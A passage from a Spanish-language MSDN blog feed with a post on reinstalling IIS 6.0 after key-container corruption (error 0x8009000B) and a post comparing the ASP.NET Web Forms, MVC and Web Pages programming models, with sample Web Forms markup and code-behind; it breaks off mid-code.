list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">CertUtil: -key command completed successfully.</font></span></p> <font style="font-size: 12pt;"></font><font face="Calibri"></font>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">&#160; <br /></font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">IIS 6.0 permite generar backups de la metabase exportables/importables a cualquier servidor, para lo que se utiliza una contraseña en lugar de las claves RSA de máquina para cifrar la metabase. Tener un backup de la configuración de IIS protegido con contraseña puede resultar muy útil como veremos más adelante.&#160; <br /></font></span>&#160;<font style="font-size: 12pt;"></font><font face="Calibri"></font>&#160; </p>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-no-proof: yes;"><a href="file:///C:/Users/daniem/AppData/Local/Temp/WindowsLiveWriter1286139640/supfiles148C892/clip_image001[3].png"><font face="Calibri"></font></a><font face="Calibri"><a href="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/2671.clip_image001_thumb_4.png" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/2671.clip_5F00_image001_5F00_thumb_5F00_4.png"><img style="border: 0px currentcolor; overflow: visible; display: inline; max-width: none; background-image: none;" title="clip_image001_thumb" border="0" alt="clip_image001_thumb" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/1682.clip_image001_thumb_thumb_1.png" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/1682.clip_5F00_image001_5F00_thumb_5F00_thumb_5F00_1.png" width="350" height="230" /></a></font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"></span></p> <font style="font-size: 12pt;"></font><font face="Calibri"></font>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">&#160; <br /></font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">Volviendo al problema original, el error <b style="mso-bidi-font-weight: normal;">0x8009000B</b> al arrancar el servicio <i style="mso-bidi-font-style: normal;">IIS Admin Service </i>típicamente se debe a una corrupción del contenedor de claves de IIS, por lo que el servicio no es capaz de descifrar los campos relevantes al leer el fichero de configuración y por consecuencia fallan en el arranque.         <br />        <br /></font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">Llegados a esta situación, básicamente tenemos tres opciones, que por orden de preferencia son:</font></span>&#160;<font style="font-size: 12pt;"></font><font face="Calibri"></font>&#160; </p>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">&#160; <br /></font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">1) Restaurar un <i style="mso-bidi-font-style: normal;">backup</i> de <i style="mso-bidi-font-style: normal;">system state</i> en el que se restauraría una copia intacta del fichero contenedor de claves <b style="mso-bidi-font-weight: normal;">c2319c42033a5ca7f44e731bfd3fa2b5_&lt;MachineGuid&gt; </b>lo que permitiría volver a arrancar el servicio de <i style="mso-bidi-font-style: normal;">IIS Admin Service</i>.         <br /></font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">2) Reinstalar IIS y reconfigurarlo desde un backup de la metabase protegido por contraseña que podamos importar después de la reinstalación. </font></span>&#160;<font style="font-size: 12pt;"></font><font face="Calibri"></font>&#160; </p>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">3) Reinstalar IIS y reconfigurarlo manualmente desde cero.</font></span></p> <font style="font-size: 12pt;"></font><font face="Calibri"></font>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">&#160;&#160;&#160;&#160;&#160;&#160; </font></span></p>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri"><strong>PROCESO DE REINSTALACIÓN Y RESTAURACIÓN DEL CONTENEDOR DE CLAVES</strong>        <br />En caso que fuera necesaria la reinstalación de IIS, los pasos a seguir son los siguientes:</font></span></p>  <span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri"><font face="Arial">       <br /></font>1) Desinstalar el servicio de IIS desde los componentes de Windows. </font></span>&#160;<font style="font-size: 12pt;"></font><font face="Calibri"></font>&#160; <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">2) Eliminar el fichero contenedor de claves de “Microsoft Internet Information Server” en la ruta“%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys\c2319c42033a5ca7f44e731bfd3fa2b5_&lt;MachineGuid&gt;”.</font></span></p> <font style="font-size: 12pt;"></font><font face="Calibri"></font>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">3) Reinstalar IIS. </font></span></p> <font style="font-size: 12pt;"></font><font face="Calibri"></font>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">4) Importar el backup de la metabase protegido por contraseña. </font></span></p> <font style="font-size: 12pt;"></font><font face="Calibri"></font>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><font face="Calibri"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;">5) Añadir las cuentas configuradas como identidad de los application pool al grupo de seguridad IIS_WPG (</font></span><span style="mso-ansi-language: es; mso-ascii-font-family: calibri; mso-hansi-font-family: calibri; mso-bidi-font-family: calibri;" lang="ES"><font style="font-size: 11pt;">IIS Worker Process Group</font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;">) de nuevo, dado que el grupo de seguridad se vuelve a crear tras la reinstalación. </font></span></font></p> <font style="font-size: 12pt;"></font><font face="Calibri"></font>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">&#160; <br /></font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">Si tenemos varios servidores configurados idénticamente, técnicamente es posible importar un backup de la metabase que ha sido exportado desde otro servidor distinto. No obstante, esto implica tener que modificar manualmente algunas cosas adicionales como sincronizar las cuentas <strong>IUSR_&lt;serverName&gt;</strong> e <strong>IWAM_&lt;serverName&gt;</strong> y sus contraseñas, o modificar los bindings de los sitios web en caso de que escuchen por IPs distintas en los distintos servidores de la granja.         <br />        <br /></font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">En definitiva, haced backup del system state y de la metabase regularmente, y espero que nunca tengáis que hacer uso de este post. </font></span>&#160;<font style="font-size: 12pt;"></font><font face="Calibri"></font>&#160; </p>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">&#160; <br /></font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">- Daniel Mossberg</font></span></p> <font style="font-size: 12pt;"></font>]]></content:encoded>
    </item>
    <item>
      <title>Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages</title>
      <link>https://docs.microsoft.com/archive/blogs/daniem/modelos-de-programacin-en-asp-net-web-forms-mvc-y-web-pages</link>
      <pubDate>Thu, 10 May 2012 05:49:00 GMT</pubDate>
      <dc:creator><![CDATA[Daniel Mossberg]]></dc:creator>
      <guid
        isPermaLink="false">https://blogs.msdn.microsoft.com/daniem/2012/05/10/modelos-de-programacin-en-asp-net-web-forms-mvc-y-web-pages/</guid>
      <description><![CDATA[Recientemente he publicado una serie de artículos en MSDN España abordando una pregunta que...]]></description>
      <content:encoded><![CDATA[<div class="WordSection1">   <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Recientemente he publicado una serie de artículos en MSDN España abordando una pregunta que recibimos con frecuencia. ¿Cuáles son las diferencias entre los tres modelos de programación de ASP.NET y en que situaciones debo elegir uno de ellos sobre los otros?</font></span></p>    <p class="MsoNormal" style="margin-left: 43.5pt"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Estos son los enlaces a la serie completa:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span lang="EN" style="font-size: 12pt"><font face="Calibri">ASP.NET Web Forms, MVC o Web Pages – Introducción</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;"><a href="https://msdn.microsoft.com/es-es/asp.net/hh984851"><span lang="EN-US" style="font-family: &quot;Calibri&quot;,&quot;sans-serif&quot;">https://msdn.microsoft.com/es-es/asp.net/hh984851</span></a></span></p>    <p class="MsoNormal"><span lang="EN-US" style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span lang="EN" style="font-size: 12pt"><font face="Calibri">Parte 1 – ASP.NET Web Forms</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;"><a href="https://msdn.microsoft.com/es-es/asp.net/hh984854"><span lang="EN" style="font-family: &quot;Calibri&quot;,&quot;sans-serif&quot;">https://msdn.microsoft.com/es-es/asp.net/hh984854</span></a></span></p>    <p class="MsoNormal"><span lang="EN" style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span lang="EN" style="font-size: 12pt"><font face="Calibri">Parte 2 – ASP.NET MVC</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;"><a href="https://msdn.microsoft.com/es-es/asp.net/hh984855"><span lang="EN" style="font-family: &quot;Calibri&quot;,&quot;sans-serif&quot;">https://msdn.microsoft.com/es-es/asp.net/hh984855</span></a></span></p>    <p class="MsoNormal"><span lang="EN" style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Parte 3 – ASP.NET Web Pages</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;"><a href="https://msdn.microsoft.com/es-es/asp.net/hh984856"><span style="font-family: &quot;Calibri&quot;,&quot;sans-serif&quot;">https://msdn.microsoft.com/es-es/asp.net/hh984856</span></a></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Espero que os resulte interesante. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">- Daniel Mossberg</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">ACTUALIZACIÓN (14/10/2014)</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Los enlaces anteriores ya no están disponibles, por lo que publico a continuación el contenido original de la serie de artículos:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri"></font></span></p>    <h1><font face="Calibri">Introducción</font></h1>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Actualmente, ASP.NET soporta tres modelos de programación: ASP.NET Web Forms, ASP.NET MVC y ASP.NET Web Pages. Aunque los tres modelos de programación se ejecutan sobre la misma base de ASP.NET, cada uno de ellos estructura la aplicación de maneras completamente distintas, promueve metodologías de desarrollo<span style="color: #1f497d"> </span>diferentes y se adapta a perfiles de desarrolladores distintos. Algunas características que son virtudes en unos modelos de programación, pueden ser consideradas debilidades en el otro. ¿Qué es más importante, desarrollar a un gran nivel de abstracción o tener control total cada uno de los aspectos de la aplicación? Simplicidad vs. Control. Flexibilidad vs. Eficiencia. Estas son las compensaciones que hay que baremar a la hora de elegir. En esta serie de artículos repasaremos las diferencias entre los tres modelos de programación, y los escenarios favorables a cada uno de ellos. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Es importante recalcar que el hecho de elegir uno de los modelos de programación al comenzar un proyecto de ASP.NET no excluye necesariamente a los otros, sino que es posible tener aplicaciones “hibridas” y en muchos casos tendrá todo el sentido desarrollar ciertas partes de la aplicación con un modelo de programación y otras partes con otro modelo distinto. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><font face="Calibri"><b><span style="font-size: 12pt">ASP.NET Web Forms </span></b><span style="font-size: 12pt">fue el primero de los tres modelos de programación en existir, y proporciona un gran nivel de abstracción con un modelo de programación familiar basado en eventos y controles que favorece la productividad mediante la programación declarativa reduciendo la cantidad de código necesaria para implementar una determinada funcionalidad.</span></font></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><font face="Calibri"><b><span style="font-size: 12pt">ASP.NET MVC</span></b><span style="font-size: 12pt"> se concibió como alternativa a Web Forms y proporciona un modelo de programación basado en el popular patrón de arquitectura MVC. Entre sus principales características destacan su completa integración con pruebas unitarias y su separación más clara entre la lógica de presentación, la lógica de negocio y la lógica de acceso a datos.</span></font></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></b></p>    <p class="MsoNormal"><font face="Calibri"><b><span style="font-size: 12pt">ASP.NET Web Pages </span></b><span style="font-size: 12pt">es el más reciente de los tres modelos de programación, y fue creado como respuesta a una creciente demanda de desarrolladores web sin experiencia previa con ASP.NET, cuya iniciación en ASP.NET Web Forms o MVC les suponía una inversión inicial de tiempo demasiado grande. Web Pages proporciona un modelo de programación más simple y rápido de aprender, sin renunciar a toda la funcionalidad y flexibilidad de ASP.NET.</span></font></p>    <p class="MsoNormal"><font face="Calibri"><span style="font-size: 12pt"></span></font></p>    <h1><span lang="EN-US"><font face="Calibri">Parte 1 - ASP.NET Web Forms</font></span></h1>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">ASP.NET es uno de los pilares fundamentales del Framework .NET, y durante muchos años Web Forms fue el único modelo de programación disponible. Cuando nació, Web Forms introducía novedades importantes respecto a otras tecnologías de desarrollo web como ASP, PHP o JSP. Una de las más significativas era la separación entre el código de servidor y el <i>markup</i> HTML. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">La estructura típica de una página Web Forms se compone por un lado de un fichero <i>*.aspx</i> en el que se define la estructura HTML y se añaden declarativamente los controles de servidor de la página (hablaremos en detalle sobre controles de servidor más adelante). Por otro lado tenemos el fichero de código <i>code behind, *.aspx.cs</i> o <i>*.aspx.vb</i> dependiendo del lenguaje de programación elegido, en el que se implementa el código de servidor de la página.<span style="color: #1f497d"> </span>Posteriormente, ambos ficheros se compilan en ensamblados que contienen el código de servidor que genera el HTML emitido al ejecutar la página. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">La unión entre ambos ficheros se realiza mediante la directiva de página del fichero *.aspx (“<i>&lt;%@ Page … %&gt;</i>”) en la que se especifica el nombre de la clase de la que hereda (“<i>Inherits</i>”) y el fichero de código fuente (“<i>CodeBehind</i>”) donde se implementa dicha clase, también conocido como el <i>code behind</i> de la página. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><font face="Calibri"><b><span lang="EN-US" style="font-size: 12pt">WebForm.aspx</span></b><span lang="EN-US" style="font-size: 12pt">:</span></font></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; background: yellow">&lt;%</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">@</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> <span style="color: maroon">Page</span> <span style="color: red">Language</span><span style="color: blue">=&quot;C#&quot;</span> <span style="color: red">AutoEventWireup</span><span style="color: blue">=&quot;true&quot;</span> <span style="color: red">CodeBehind</span><span style="color: blue">=&quot;WebForm.aspx.cs&quot;</span> <span style="color: red">Inherits</span><span style="color: blue">=&quot;AdventureWorksWebForms.WebForm&quot;</span> <span style="background: yellow">%&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&lt;!</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">DOCTYPE</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> <span style="color: red">html</span> <span style="color: red">PUBLIC</span> <span style="color: blue">&quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;</span> <span style="color: blue">&quot;<a href="https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&quot;&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">html</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> <span style="color: red">xmlns</span><span style="color: blue">=&quot;<a href="https://www.w3.org/1999/xhtml">https://www.w3.org/1999/xhtml</a>&quot;&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">head</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> <span style="color: red">runat</span><span style="color: blue">=&quot;server&quot;&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">title</span><span style="color: blue">&gt;</span>ASP.NET Web Forms<span style="color: blue">&lt;/</span><span style="color: maroon">title</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&lt;/</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">head</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">body</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">form</span> <span style="color: red">id</span><span style="color: blue">=&quot;form1&quot;</span> <span style="color: red">runat</span><span style="color: blue">=&quot;server&quot;&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">div</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">asp</span><span style="color: blue">:</span><span style="color: maroon">Label</span> <span style="color: red">ID</span><span style="color: blue">=&quot;MyLabel&quot;</span> <span style="color: red">runat</span><span style="color: blue">=&quot;server&quot;</span> <span style="color: red">Text</span><span style="color: blue">=&quot;Hello World!&quot;&gt;&lt;/</span><span style="color: maroon">asp</span><span style="color: blue">:</span><span style="color: maroon">Label</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">asp</span><span style="color: blue">:</span><span style="color: maroon">Button</span> <span style="color: red">ID</span><span style="color: blue">=&quot;MyButton&quot;</span> <span style="color: red">runat</span><span style="color: blue">=&quot;server&quot;</span> <span style="color: red">Text</span><span style="color: blue">=&quot;Run&quot;</span> <span style="color: blue">/&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">&lt;/</span><span style="color: maroon">div</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">&lt;/</span><span style="color: maroon">form</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&lt;/</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">body</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;/</span><span style="font-size: 10pt; font-family: consolas; color: maroon">html</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">En el fichero de <i>code behind</i> se implementa el código de servidor de la página como los manejadores de eventos de los controles de la página (en el ejemplo: <i>MyButton_Click</i>), código de interacción con las capas de lógica de negocio o acceso a datos, o código de validación de datos de entrada del usuario por ejemplo.</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt; color: #1f497d"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><font face="Calibri"><b><span lang="EN-US" style="font-size: 12pt">WebForm.aspx.cs</span></b><span lang="EN-US" style="font-size: 12pt">:</span></font></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">using</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> System;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">namespace</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> AdventureWorksWebForms</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">{</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">public</span> <span style="background: yellow; color: blue">partial</span> <span style="color: blue">class</span> <span style="color: #2b91af">WebForm</span> : System.Web.UI.<span style="color: #2b91af">Page</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; {</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">protected</span> <span style="color: blue">void</span> MyButton_Click(<span style="color: blue">object</span> sender, <span style="color: #2b91af">EventArgs</span> e)</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; {</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; MyLabel.Text = <span style="color: #a31515">&quot;Hello World changed after post-back!&quot;</span>;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span style="font-size: 10pt; font-family: consolas">}</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; }</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">}</span></p>    <p class="MsoNormal"><span style="font-size: 12pt; color: #1f497d"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Con el Framework .NET 2.0 se introdujo el concepto de clases parciales lo que permite implementar clases de .NET en más de un fichero. ASP.NET 2.0 hizo uso de las clases parciales en los ficheros de <i>code behind</i> para crear una separación adicional entre el código generado automáticamente por Visual Studio y el <i>code behind</i> desarrollado por el programador. En versiones anteriores de ASP.NET, Visual Studio añadía código directamente en el fichero de <i>code behind</i>, como por ejemplo el código de declaración de variables de controles de servidor, generado automáticamente al arrastrar un control a la página en la vista de diseño de Visual Studio. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Por tanto, a partir de ASP.NET 2.0 el fichero de <i>code behind</i> se simplifica aún más dado que desaparecen estas declaraciones de variables y el código generado por Visual Studio se crea en un fichero distinto de la misma clase parcial:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><font face="Calibri"><b><span lang="EN-US" style="font-size: 12pt">WebForm.aspx.designer.cs</span></b><span lang="EN-US" style="font-size: 12pt">:</span></font></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">namespace</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> AdventureWorksWebForms </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">{&#160;&#160;&#160; </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">public</span> <span style="background: yellow; color: blue">partial</span> <span style="color: blue">class</span> <span style="color: #2b91af">WebForm</span> </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; 